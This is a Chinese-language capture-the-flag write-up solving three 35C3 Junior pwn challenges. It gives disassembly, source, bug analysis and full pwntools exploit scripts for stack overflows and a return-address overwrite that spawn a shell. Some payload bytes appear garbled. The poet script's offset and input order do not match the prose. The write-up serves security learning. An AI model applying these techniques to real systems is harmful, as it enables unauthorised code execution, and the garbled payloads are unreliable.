前言
在被期末预习虐得半死的时候看到35c3的消息就去稍微看看题,结果又被非libc虐哭,在被虐哭后看到还有Junior赛就过去把Junior的pwn题悄咪咪的写了几题,但在做这些题到后面时还是会卡住,所以在这紧张刺激的期末考结束后写一点笔记来记录和复习下,这里先记录下libc非2.27的题目
1996
惯例先checksec文件
➜ 1996 checksec 1996
[*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/1996/1996'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
因为最近在练看汇编题目稍微看了下程序逻辑也不难所以就直接就看汇编分析了
Dump of assembler code for function main:
0x00000000004008cd <+0>: push rbp
0x00000000004008ce <+1>: mov rbp,rsp
0x00000000004008d1 <+4>: push rbx
0x00000000004008d2 <+5>: sub rsp,0x408
0x00000000004008d9 <+12>: lea rsi,[rip+0x188] # 0x400a68
0x00000000004008e0 <+19>: lea rdi,[rip+0x200779] # 0x601060 <std::cout@@GLIBCXX_3.4>
0x00000000004008e7 <+26>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
0x00000000004008ec <+31>: lea rax,[rbp-0x410]
0x00000000004008f3 <+38>: mov rsi,rax
0x00000000004008f6 <+41>: lea rdi,[rip+0x200883] # 0x601180 <std::cin@@GLIBCXX_3.4>
0x00000000004008fd <+48>: call 0x400740 <std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char> >(std::basic_istream<char, std::char_traits<char> >&, char*)@plt>
0x0000000000400902 <+53>: lea rax,[rbp-0x410]
0x0000000000400909 <+60>: mov rsi,rax
0x000000000040090c <+63>: lea rdi,[rip+0x20074d] # 0x601060 <std::cout@@GLIBCXX_3.4>
0x0000000000400913 <+70>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
0x0000000000400918 <+75>: lea rsi,[rip+0x17a] # 0x400a99
0x000000000040091f <+82>: mov rdi,rax
0x0000000000400922 <+85>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
0x0000000000400927 <+90>: mov rbx,rax
0x000000000040092a <+93>: lea rax,[rbp-0x410]
0x0000000000400931 <+100>: mov rdi,rax
0x0000000000400934 <+103>: call 0x400780 <getenv@plt>
0x0000000000400939 <+108>: mov rsi,rax
0x000000000040093c <+111>: mov rdi,rbx
0x000000000040093f <+114>: call 0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
0x0000000000400944 <+119>: mov rdx,rax
0x0000000000400947 <+122>: mov rax,QWORD PTR [rip+0x200692] # 0x600fe0
0x000000000040094e <+129>: mov rsi,rax
0x0000000000400951 <+132>: mov rdi,rdx
0x0000000000400954 <+135>: call 0x400770 <std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt>
0x0000000000400959 <+140>: mov eax,0x0
0x000000000040095e <+145>: add rsp,0x408
0x0000000000400965 <+152>: pop rbx
0x0000000000400966 <+153>: pop rbp
0x0000000000400967 <+154>: ret
End of assembler dump.
看一下程序的main我们可以知道这里用cin来读取,如果用c来说就相当与gets也就是一个很明显的栈溢出,接着我们看到lea rax,[rbp-0x410],我们就知道了bufsize=0x410
到了这里我们基本就随便玩了,因为给了执行/bin/sh的函数所以我们直接溢出劫持执行流到spawn_shell函数
Dump of assembler code for function _Z11spawn_shellv:
0x0000000000400897 <+0>: push rbp
0x0000000000400898 <+1>: mov rbp,rsp
0x000000000040089b <+4>: sub rsp,0x10
0x000000000040089f <+8>: lea rax,[rip+0x1b3] # 0x400a59
0x00000000004008a6 <+15>: mov QWORD PTR [rbp-0x10],rax
0x00000000004008aa <+19>: mov QWORD PTR [rbp-0x8],0x0
0x00000000004008b2 <+27>: lea rax,[rbp-0x10]
0x00000000004008b6 <+31>: mov edx,0x0
0x00000000004008bb <+36>: mov rsi,rax
0x00000000004008be <+39>: lea rdi,[rip+0x194] # 0x400a59
0x00000000004008c5 <+46>: call 0x4007a0 <execve@plt>
0x00000000004008ca <+51>: nop
0x00000000004008cb <+52>: leave
0x00000000004008cc <+53>: ret
End of assembler dump.
或者用其他的栈溢出方法,因为是简单题就不多赘述了,直接放EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
#n = process('./1996')
n = remote('35.207.132.47',22227)
elf = ELF('./1996')
sh_addr = 0x0400897
n.recvuntil('?')
n.sendline('a'*(0x410+8)+p64(sh_addr))
n.interactive()
poet
➜ poet checksec poet
[*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/poet/poet'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
简单的运行下程序看看程序的大致逻辑
➜ poet ./poet
**********************************************************
* We are searching for the poet of the year 2018. *
* Submit your one line poem now to win an amazing prize! *
**********************************************************
Enter the poem here:
> aaaaaaa
Who is the author of this poem?
> nepire
+---------------------------------------------------------------------------+
THE POEM
aaaaaaa
SCORED 0 POINTS.
SORRY, THIS POEM IS JUST NOT GOOD ENOUGH.
YOU MUST SCORE EXACTLY 1000000 POINTS.
TRY AGAIN!
+---------------------------------------------------------------------------+
大致的就是让你写首诗(gou……)然后程序会给你评个分,最终目标是得到1000000分,接着看下大概的汇编
Dump of assembler code for function main:
0x000000000040098b <+0>: push rbx
0x000000000040098c <+1>: mov ecx,0x0
0x0000000000400991 <+6>: mov edx,0x2
0x0000000000400996 <+11>: mov esi,0x0
0x000000000040099b <+16>: mov rdi,QWORD PTR [rip+0x2016de] # 0x602080 <stdout@@GLIBC_2.2.5>
0x00000000004009a2 <+23>: call 0x400640 <setvbuf@plt>
0x00000000004009a7 <+28>: lea rdi,[rip+0x292] # 0x400c40
0x00000000004009ae <+35>: call 0x400600 <puts@plt>
0x00000000004009b3 <+40>: lea rbx,[rip+0x2016e6] # 0x6020a0 <poem>
0x00000000004009ba <+47>: mov eax,0x0
0x00000000004009bf <+52>: call 0x400935 <get_poem>
0x00000000004009c4 <+57>: mov eax,0x0
0x00000000004009c9 <+62>: call 0x400965 <get_author>
0x00000000004009ce <+67>: mov eax,0x0
0x00000000004009d3 <+72>: call 0x4007b7 <rate_poem>
0x00000000004009d8 <+77>: cmp DWORD PTR [rbx+0x440],0xf4240
0x00000000004009e2 <+87>: je 0x4009f2 <main+103>
0x00000000004009e4 <+89>: lea rdi,[rip+0x345] # 0x400d30
0x00000000004009eb <+96>: call 0x400600 <puts@plt>
0x00000000004009f0 <+101>: jmp 0x4009ba <main+47>
0x00000000004009f2 <+103>: mov eax,0x0
0x00000000004009f7 <+108>: call 0x400767 <reward>
End of assembler dump.
main就三个关键逻辑函数(get_poem/get_author/rate_poem),reward函数就是一个getflag的函数就不细分析了
先看下get_poem和get_author的代码
Dump of assembler code for function get_poem:
0x0000000000400935 <+0>: sub rsp,0x8
0x0000000000400939 <+4>: lea rdi,[rip+0x17b] # 0x400abb
0x0000000000400940 <+11>: mov eax,0x0
0x0000000000400945 <+16>: call 0x400610 <printf@plt>
0x000000000040094a <+21>: lea rdi,[rip+0x20174f] # 0x6020a0 <poem>
0x0000000000400951 <+28>: call 0x400630 <gets@plt>
0x0000000000400956 <+33>: mov DWORD PTR [rip+0x201b80],0x0 # 0x6024e0 <poem+1088>
0x0000000000400960 <+43>: add rsp,0x8
0x0000000000400964 <+47>: ret
End of assembler dump.
Dump of assembler code for function get_author:
0x0000000000400965 <+0>: sub rsp,0x8
0x0000000000400969 <+4>: lea rdi,[rip+0x2a8] # 0x400c18
0x0000000000400970 <+11>: mov eax,0x0
0x0000000000400975 <+16>: call 0x400610 <printf@plt>
0x000000000040097a <+21>: lea rdi,[rip+0x201b1f] # 0x6024a0 <poem+1024>
0x0000000000400981 <+28>: call 0x400630 <gets@plt>
0x0000000000400986 <+33>: add rsp,0x8
0x000000000040098a <+37>: ret
End of assembler dump.
没什么大问题,不过用了gets可能会存在越界写什么的先保留可能
接着看下关键的评分函数
Dump of assembler code for function rate_poem:
0x00000000004007b7 <+0>: push r13
0x00000000004007b9 <+2>: push r12
0x00000000004007bb <+4>: push rbp
0x00000000004007bc <+5>: push rbx
0x00000000004007bd <+6>: sub rsp,0x408
0x00000000004007c4 <+13>: mov rbx,rsp
0x00000000004007c7 <+16>: lea rsi,[rip+0x2018d2] # 0x6020a0 <poem>
0x00000000004007ce <+23>: mov rdi,rbx
0x00000000004007d1 <+26>: call 0x4005f0 <strcpy@plt>
0x00000000004007d6 <+31>: lea rsi,[rip+0x2b4] # 0x400a91
0x00000000004007dd <+38>: mov rdi,rbx
0x00000000004007e0 <+41>: call 0x400660 <strtok@plt>
0x00000000004007e5 <+46>: test rax,rax
0x00000000004007e8 <+49>: je 0x400909 <rate_poem+338>
0x00000000004007ee <+55>: lea rbx,[rip+0x29f] # 0x400a94 "ESPR"
0x00000000004007f5 <+62>: lea rbp,[rip+0x2aa] # 0x400aa6 "eat"
0x00000000004007fc <+69>: lea r12,[rip+0x296] # 0x400a99 "sleep"
0x0000000000400803 <+76>: lea r13,[rip+0x295] # 0x400a9f "pwn"
0x000000000040080a <+83>: jmp 0x40082d <rate_poem+118>
0x000000000040080c <+85>: add DWORD PTR [rip+0x201ccd],0x64 # 0x6024e0 <poem+1088>
0x0000000000400813 <+92>: lea rsi,[rip+0x277] # 0x400a91 "n"
0x000000000040081a <+99>: mov edi,0x0
0x000000000040081f <+104>: call 0x400660 <strtok@plt>
0x0000000000400824 <+109>: test rax,rax
0x0000000000400827 <+112>: je 0x400909 <rate_poem+338>
0x000000000040082d <+118>: mov ecx,0x5
0x0000000000400832 <+123>: mov rsi,rax
0x0000000000400835 <+126>: mov rdi,rbx
0x0000000000400838 <+129>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x000000000040083a <+131>: seta dl
0x000000000040083d <+134>: sbb dl,0x0
0x0000000000400840 <+137>: test dl,dl
0x0000000000400842 <+139>: je 0x40080c <rate_poem+85>
0x0000000000400844 <+141>: mov ecx,0x4
0x0000000000400849 <+146>: mov rsi,rax
0x000000000040084c <+149>: mov rdi,rbp
0x000000000040084f <+152>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x0000000000400851 <+154>: seta dl
0x0000000000400854 <+157>: sbb dl,0x0
0x0000000000400857 <+160>: test dl,dl
0x0000000000400859 <+162>: je 0x40080c <rate_poem+85>
0x000000000040085b <+164>: mov ecx,0x6
0x0000000000400860 <+169>: mov rsi,rax
0x0000000000400863 <+172>: mov rdi,r12
0x0000000000400866 <+175>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x0000000000400868 <+177>: seta dl
0x000000000040086b <+180>: sbb dl,0x0
0x000000000040086e <+183>: test dl,dl
0x0000000000400870 <+185>: je 0x40080c <rate_poem+85>
0x0000000000400872 <+187>: mov ecx,0x4
0x0000000000400877 <+192>: mov rsi,rax
0x000000000040087a <+195>: mov rdi,r13
0x000000000040087d <+198>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x000000000040087f <+200>: seta dl
0x0000000000400882 <+203>: sbb dl,0x0
0x0000000000400885 <+206>: test dl,dl
0x0000000000400887 <+208>: je 0x40080c <rate_poem+85>
0x0000000000400889 <+210>: mov ecx,0x7
0x000000000040088e <+215>: lea rdi,[rip+0x20e] # 0x400aa3 "repeat"
0x0000000000400895 <+222>: mov rsi,rax
0x0000000000400898 <+225>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x000000000040089a <+227>: seta dl
0x000000000040089d <+230>: sbb dl,0x0
0x00000000004008a0 <+233>: test dl,dl
0x00000000004008a2 <+235>: je 0x40080c <rate_poem+85>
0x00000000004008a8 <+241>: mov ecx,0x4
0x00000000004008ad <+246>: lea rdi,[rip+0x1f6] # 0x400aaa "CTF"
0x00000000004008b4 <+253>: mov rsi,rax
0x00000000004008b7 <+256>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x00000000004008b9 <+258>: seta dl
0x00000000004008bc <+261>: sbb dl,0x0
0x00000000004008bf <+264>: test dl,dl
0x00000000004008c1 <+266>: je 0x40080c <rate_poem+85>
0x00000000004008c7 <+272>: mov ecx,0x8
0x00000000004008cc <+277>: lea rdi,[rip+0x1db] # 0x400aae "capture"
0x00000000004008d3 <+284>: mov rsi,rax
0x00000000004008d6 <+287>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x00000000004008d8 <+289>: seta dl
0x00000000004008db <+292>: sbb dl,0x0
0x00000000004008de <+295>: test dl,dl
0x00000000004008e0 <+297>: je 0x40080c <rate_poem+85>
0x00000000004008e6 <+303>: mov ecx,0x5
0x00000000004008eb <+308>: lea rdi,[rip+0x1c4] # 0x400ab6 "flag"
0x00000000004008f2 <+315>: mov rsi,rax
0x00000000004008f5 <+318>: repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0x00000000004008f7 <+320>: seta al
0x00000000004008fa <+323>: sbb al,0x0
0x00000000004008fc <+325>: test al,al
0x00000000004008fe <+327>: jne 0x400813 <rate_poem+92>
0x0000000000400904 <+333>: jmp 0x40080c <rate_poem+85>
0x0000000000400909 <+338>: mov edx,DWORD PTR [rip+0x201bd1] # 0x6024e0 <poem+1088>
0x000000000040090f <+344>: lea rsi,[rip+0x20178a] # 0x6020a0 <poem>
0x0000000000400916 <+351>: lea rdi,[rip+0x283] # 0x400ba0
0x000000000040091d <+358>: mov eax,0x0
0x0000000000400922 <+363>: call 0x400610 <printf@plt>
0x0000000000400927 <+368>: add rsp,0x408
0x000000000040092e <+375>: pop rbx
0x000000000040092f <+376>: pop rbp
0x0000000000400930 <+377>: pop r12
0x0000000000400932 <+379>: pop r13
0x0000000000400934 <+381>: ret
End of assembler dump.
这一大段看了半天还是很混乱就去用ida反编译了一下发现还是很乱就换动态调试去理解下这里是做了什么
输了一堆脏数据后发现诗中有’flag’,’CTF’,’capture’,’repeat’的每有其中一个就加100point,但不能直接输入10000个’CTF’,程序会崩,这里稍稍卡了一会,不过在尝试输入了'a'* 0x100
和’b'* 0x100
后,返回得到的分数是1650614882,突然出现一个大数让我看到溢出的可能性,调试…………发现这个分数转十六进制是0x62626262,立马意识到这里的author可以直接溢出覆盖poem point的结果!经过简单定位得到偏移量为0x3c,我们把1000000转成十六进制就是0x0f4240,然后直接'a'*0x3c+'x0fx42x40'
得到的poem point是0x40420f(4211215)并不是想要的point,稍微改一下payload改成小端序的payload = 'a' * 0x3c + 'x40x42x0f'
,success!
EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
n = process('./poet')
elf = ELF('./poet')
n.recvuntil('> ')
n.sendline('nepire')
n.recvuntil('> ')
n.sendline('a'*64+'x0fx42x40')
n.interactive()
stringmaster1
➜ stringmaster1 checksec stringmaster1
[*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/stringmaster1/stringmaster1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
在粗略过一遍接近4k行还看得难受得半死的c++汇编后,立即推放弃看汇编,给了源码就直接怼源码
#include <iostream>
#include <cstdlib>
#include <ctime>
#include <vector>
#include <unistd.h>
#include <limits>
using namespace std;
const string chars = "abcdefghijklmnopqrstuvwxy";
void spawn_shell()
{
char* args[] = {(char*)"/bin/bash", NULL};
execve("/bin/bash", args, NULL);
}
void print_menu()
{
cout << endl;
cout << "Enter the command you want to execute:" << endl;
cout << "[1] swap <index1> <index2> (Cost: 1)" << endl;
cout << "[2] replace <char1> <char2> (Cost: 1)" << endl;
cout << "[3] print (Cost: 1)" << endl;
cout << "[4] quit " << endl;
cout << "> ";
}
void play()
{
string from(10, '0');
string to(10, '0');
for (int i = 0; i < 10; ++i)
{
from[i] = chars[rand() % (chars.length() - 1)];
to[i] = chars[rand() % (chars.length() - 1)];
}
cout << "Perform the following operations on String1 to generate String2 with minimum costs." << endl << endl;
cout << "[1] swap <index1> <index2> (Cost: 1)" << endl;
cout << " Swaps the char at index1 with the char at index2 " << endl;
cout << "[2] replace <char1> <char2> (Cost: 1)" << endl;
cout << " Replaces the first occurence of char1 with char2 " << endl;
cout << "[3] print (Cost: 1)" << endl;
cout << " Prints the current version of the string " << endl;
cout << "[4] quit " << endl;
cout << " Give up and leave the game " << endl;
cout << endl;
cout << "String1: " << from << endl;
cout << "String2: " << to << endl;
cout << endl;
unsigned int costs = 0;
string s(from);
while (true)
{
print_menu();
string command;
cin >> command;
if (command == "swap")
{
unsigned int i1, i2;
cin >> i1 >> i2;
if (cin.good() && i1 < s.length() && i2 < s.length())
{
swap(s[i1], s[i2]);
}
costs += 1;
}
else if (command == "replace")
{
char c1, c2;
cin >> c1 >> c2;
auto index = s.find(c1);
cout << c1 << c2 << index << endl;
if (index >= 0)
{
s[index] = c2;
}
costs += 1;
}
else if (command == "print")
{
cout << s << endl;
costs += 1;
}
else if (command == "quit")
{
cout << "You lost." << endl;
break;
}
else
{
cout << "Invalid command" << endl;
}
if (!cin)
{
cin.clear();
cin.ignore(numeric_limits<streamsize>::max(), 'n');
}
if (!cout)
{
cout.clear();
}
if (s == to)
{
cout << s.length() << endl;
cout << endl;
cout << "****************************************" << endl;
cout << "* Congratulations " << endl;
cout << "* You solved the problem with cost: " << costs << endl;
cout << "****************************************" << endl;
cout << endl;
break;
}
}
}
int main()
{
srand(time(nullptr));
play();
}
程序的大致流程:
1.先初始化一个以时间为种子的随机数
2.随机生成两个string类型的key
3.进入有三个功能的标准菜单循环
4.最终需要把函数劫持到spawn_shell函数(0x4011A7)中getshell
我们可以看到程序中用了一个看上去不那么舒服的find函数
auto index = s.find(c1);
然后我们再看下cplusplus给出的find函数模板和样例
template <class InputIterator, class T>
InputIterator
find (
InputIterator first,
InputIterator last,
const T& val
);
// find example
#include <iostream> // std::cout
#include <algorithm> // std::find
#include <vector> // std::vector
int main () {
// using std::find with array and pointer:
int myints[] = { 10, 20, 30, 40 };
int * p;
p = std::find (myints, myints+4, 30);
if (p != myints+4)
std::cout << "Element found in myints: " << *p << 'n';
else
std::cout << "Element not found in myintsn";
// using std::find with vector and iterator:
std::vector<int> myvector (myints,myints+4);
std::vector<int>::iterator it;
it = find (myvector.begin(), myvector.end(), 30);
if (it != myvector.end())
std::cout << "Element found in myvector: " << *it << 'n';
else
std::cout << "Element not found in myvectorn";
return 0;
}
程序并没有给出find的first和last,那么我们稍微调试一下replace部分就能得到这个可以基本达成栈上的任意写,也就是说只要改play函数的retrun指针指向spwan_shell就可以成功getshell了,由于开始的位置和return指针之间不能保证要改的那个值只有在return指针有,所以我们多修改几次就能成功的修改指针来getshell了
EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
n = process('./stringmaster1')
elf = ELF('./stringmaster1')
libc = elf.libc
#n.recvuntil('String1: ')
#str1 = n.recvline().strip()
#n.recvuntil('String2: ')
#str2 = n.recvline().strip()
for i in range(4):
n.recvuntil('')
n.sendline('replace x24 x11')
for i in range(4):
n.recvuntil('')
n.sendline('replace x6d xa7')
n.sendline('quit')
n.interactive()